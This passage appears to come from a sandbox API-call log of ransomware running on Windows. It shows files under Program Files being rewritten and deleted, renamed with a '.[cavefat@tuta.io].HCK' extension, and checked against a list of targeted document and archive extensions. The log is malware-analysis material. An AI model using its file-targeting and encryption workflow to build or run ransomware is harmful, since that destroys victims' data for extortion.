lpNumberOfBytesWritten=0x25cfc94*=0x1470, lpOverlapped=0x0) returned 1 [0164.777] ReadFile (in: hFile=0x39c, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0164.777] WriteFile (in: hFile=0x364, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0xf4, lpOverlapped=0x0) returned 1 [0164.777] SetEndOfFile (hFile=0x364) returned 1 [0164.778] CloseHandle (hObject=0x364) returned 1 [0164.778] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0164.778] SetEndOfFile (hFile=0x39c) returned 1 [0164.779] CloseHandle (hObject=0x39c) returned 1 [0165.201] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0165.201] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll")) returned 1 [0165.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0165.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0165.202] lstrlenW (lpString=".doc") returned 4 [0165.202] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0165.202] lstrlenW (lpString=".docx") returned 5 [0165.202] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0165.202] lstrlenW (lpString=".pdf") returned 4 [0165.202] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0165.202] lstrlenW (lpString=".xls") returned 4 [0165.202] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0165.202] lstrlenW (lpString=".xlsx") returned 5 [0165.202] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0165.202] lstrlenW (lpString=".ppt") returned 4 [0165.202] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0165.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0165.202] lstrlenW (lpString=".zip") returned 4 [0165.202] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0165.202] lstrlenW (lpString=".rar") returned 4 [0165.202] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0165.202] lstrlenW (lpString=".bz2") returned 4 [0165.202] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0165.202] lstrlenW (lpString=".7z") returned 3 [0165.202] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0165.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0165.202] lstrlenW (lpString=".dbf") returned 4 [0165.202] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0165.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0165.202] lstrlenW (lpString=".1cd") returned 4 [0165.202] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0165.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0165.202] lstrlenW (lpString=".jpg") returned 4 [0165.202] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0165.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0165.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0165.202] lstrlenW (lpString=".doc") returned 4 [0165.202] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0165.202] lstrlenW (lpString=".docx") returned 5 [0165.202] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0165.202] lstrlenW (lpString=".pdf") returned 4 [0165.202] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0165.202] lstrlenW (lpString=".xls") returned 4 [0165.202] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0165.202] lstrlenW (lpString=".xlsx") returned 5 [0165.202] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0165.202] lstrlenW (lpString=".ppt") returned 4 [0165.202] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0165.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0165.202] lstrlenW (lpString=".zip") returned 4 [0165.202] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0165.202] lstrlenW (lpString=".rar") returned 4 [0165.203] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0165.203] lstrlenW (lpString=".bz2") returned 4 [0165.203] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0165.203] lstrlenW (lpString=".7z") returned 3 [0165.203] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0165.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0165.203] lstrlenW (lpString=".dbf") returned 4 [0165.203] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0165.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0165.203] lstrlenW (lpString=".1cd") returned 4 [0165.203] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0165.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0165.203] lstrlenW (lpString=".jpg") returned 4 [0165.203] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0165.203] lstrcmpiW (lpString1=".mui", lpString2=".HCK") returned 1 [0165.203] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0165.203] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0165.204] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=10752) returned 1 [0165.204] CloseHandle (hObject=0x39c) returned 1 [0165.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui")) returned 0x20 [0165.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0165.410] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0165.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0165.410] lstrlenW (lpString=".doc") returned 4 [0165.410] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0165.410] lstrlenW (lpString=".docx") returned 5 [0165.410] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0165.410] lstrlenW (lpString=".pdf") returned 4 [0165.410] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0165.410] lstrlenW (lpString=".xls") returned 4 [0165.410] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0165.410] lstrlenW (lpString=".xlsx") returned 5 [0165.410] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0165.410] lstrlenW (lpString=".ppt") returned 4 [0165.410] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0165.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0165.410] lstrlenW (lpString=".zip") returned 4 [0165.411] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0165.411] lstrlenW (lpString=".rar") returned 4 [0165.411] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0165.411] lstrlenW (lpString=".bz2") returned 4 [0165.411] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0165.411] lstrlenW (lpString=".7z") returned 3 [0165.411] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0165.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0165.411] lstrlenW (lpString=".dbf") returned 4 [0165.411] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0165.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0165.411] lstrlenW (lpString=".1cd") returned 4 [0165.411] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0165.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0165.411] lstrlenW (lpString=".jpg") returned 4 [0165.411] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0165.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0165.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0165.411] lstrlenW (lpString=".doc") returned 4 [0165.411] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0165.411] lstrlenW (lpString=".docx") returned 5 [0165.411] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0165.411] lstrlenW (lpString=".pdf") returned 4 [0165.411] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0165.411] lstrlenW (lpString=".xls") returned 4 [0165.411] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0165.411] lstrlenW (lpString=".xlsx") returned 5 [0165.411] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0165.411] lstrlenW (lpString=".ppt") returned 4 [0165.411] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0165.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0165.411] lstrlenW (lpString=".zip") returned 4 [0165.411] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0165.411] lstrlenW (lpString=".rar") returned 4 [0165.411] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0165.411] lstrlenW (lpString=".bz2") returned 4 [0165.411] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0165.411] lstrlenW (lpString=".7z") returned 3 [0165.411] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0165.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0165.411] lstrlenW (lpString=".dbf") returned 4 [0165.411] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0165.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0165.411] lstrlenW (lpString=".1cd") returned 4 [0165.412] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0165.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0165.412] lstrlenW (lpString=".jpg") returned 4 [0165.412] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0165.412] lstrcmpiW (lpString1=".mui", lpString2=".HCK") returned 1 [0165.412] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0165.412] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0165.418] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=10752) returned 1 [0165.418] CloseHandle (hObject=0x394) returned 1 [0165.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui")) returned 0x20 [0165.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0165.418] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0165.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0165.418] lstrlenW (lpString=".doc") returned 4 [0165.418] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0165.418] lstrlenW (lpString=".docx") returned 5 [0165.418] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0165.419] lstrlenW (lpString=".pdf") returned 4 [0165.419] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0165.419] lstrlenW (lpString=".xls") returned 4 [0165.419] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0165.419] lstrlenW (lpString=".xlsx") returned 5 [0165.419] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0165.419] lstrlenW (lpString=".ppt") returned 4 [0165.419] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0165.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0165.419] lstrlenW (lpString=".zip") returned 4 [0165.419] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0165.419] lstrlenW (lpString=".rar") returned 4 [0165.419] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0165.419] lstrlenW (lpString=".bz2") returned 4 [0165.419] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0165.419] lstrlenW (lpString=".7z") returned 3 [0165.419] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0165.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0165.419] lstrlenW (lpString=".dbf") returned 4 [0165.419] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0165.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0165.419] lstrlenW (lpString=".1cd") returned 4 [0165.419] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0165.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0165.419] lstrlenW (lpString=".jpg") returned 4 [0165.419] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0165.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0165.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0165.419] lstrlenW (lpString=".doc") returned 4 [0165.419] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0165.419] lstrlenW (lpString=".docx") returned 5 [0165.419] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0165.419] lstrlenW (lpString=".pdf") returned 4 [0165.419] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0165.419] lstrlenW (lpString=".xls") returned 4 [0165.419] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0165.419] lstrlenW (lpString=".xlsx") returned 5 [0165.419] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0165.420] lstrlenW (lpString=".ppt") returned 4 [0165.420] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0165.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0165.420] lstrlenW (lpString=".zip") returned 4 [0165.420] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0165.420] lstrlenW (lpString=".rar") returned 4 [0165.420] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0165.420] lstrlenW (lpString=".bz2") returned 4 [0165.420] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0165.420] lstrlenW (lpString=".7z") returned 3 [0165.420] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0165.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0165.420] lstrlenW (lpString=".dbf") returned 4 [0165.420] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0165.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0165.420] lstrlenW (lpString=".1cd") returned 4 [0165.420] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0165.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0165.420] lstrlenW (lpString=".jpg") returned 4 [0165.420] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0165.420] lstrcmpiW (lpString1=".mui", lpString2=".HCK") returned 1 [0165.420] lstrlenW (lpString="FlickLearningWizard.exe.mui") returned 27 [0165.420] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0165.429] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=8704) returned 1 [0165.429] CloseHandle (hObject=0x390) returned 1 [0165.429] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui")) returned 0x20 [0165.429] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0165.434] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0165.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0165.447] lstrlenW (lpString=".doc") returned 4 [0165.447] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0165.447] lstrlenW (lpString=".docx") returned 5 [0165.447] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0165.447] lstrlenW (lpString=".pdf") returned 4 [0165.447] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0165.448] lstrlenW (lpString=".xls") returned 4 [0165.448] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0165.448] lstrlenW (lpString=".xlsx") returned 5 [0165.448] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0165.448] lstrlenW (lpString=".ppt") returned 4 [0165.448] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0165.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0165.448] lstrlenW (lpString=".zip") returned 4 [0165.448] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0165.448] lstrlenW (lpString=".rar") returned 4 [0165.448] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0165.448] lstrlenW (lpString=".bz2") returned 4 [0165.448] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0165.448] lstrlenW (lpString=".7z") returned 3 [0165.448] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0165.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0165.448] lstrlenW (lpString=".dbf") returned 4 [0165.448] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0165.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0165.448] lstrlenW (lpString=".1cd") returned 4 [0165.448] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0165.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0165.448] lstrlenW (lpString=".jpg") returned 4 [0165.448] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0165.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0165.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0165.448] lstrlenW (lpString=".doc") returned 4 [0165.448] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0165.448] lstrlenW (lpString=".docx") returned 5 [0165.448] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0165.448] lstrlenW (lpString=".pdf") returned 4 [0165.448] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0165.448] lstrlenW (lpString=".xls") returned 4 [0165.448] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0165.448] lstrlenW (lpString=".xlsx") returned 5 [0165.448] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0165.448] lstrlenW (lpString=".ppt") returned 4 [0165.448] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0165.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0165.448] lstrlenW (lpString=".zip") returned 4 [0165.448] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0165.448] lstrlenW (lpString=".rar") returned 4 [0165.448] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0165.449] lstrlenW (lpString=".bz2") returned 4 [0165.449] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0165.449] lstrlenW (lpString=".7z") returned 3 [0165.449] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0165.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0165.449] lstrlenW (lpString=".dbf") returned 4 [0165.449] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0165.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0165.449] lstrlenW (lpString=".1cd") returned 4 [0165.449] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0165.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0165.449] lstrlenW (lpString=".jpg") returned 4 [0165.449] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0165.449] lstrcmpiW (lpString1=".mui", lpString2=".HCK") returned 1 [0165.449] lstrlenW (lpString="IpsMigrationPlugin.dll.mui") returned 26 [0165.449] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0165.462] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=2560) returned 1 [0165.462] CloseHandle (hObject=0x390) returned 1 [0165.462] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui")) returned 0x20 [0165.462] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0165.471] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0165.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0165.471] lstrlenW (lpString=".doc") returned 4 [0165.472] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0165.472] lstrlenW (lpString=".docx") returned 5 [0165.472] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0165.472] lstrlenW (lpString=".pdf") returned 4 [0165.472] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0165.472] lstrlenW (lpString=".xls") returned 4 [0165.472] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0165.472] lstrlenW (lpString=".xlsx") returned 5 [0165.472] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0165.472] lstrlenW (lpString=".ppt") returned 4 [0165.472] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0165.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0165.472] lstrlenW (lpString=".zip") returned 4 [0165.472] lstrcmpiW 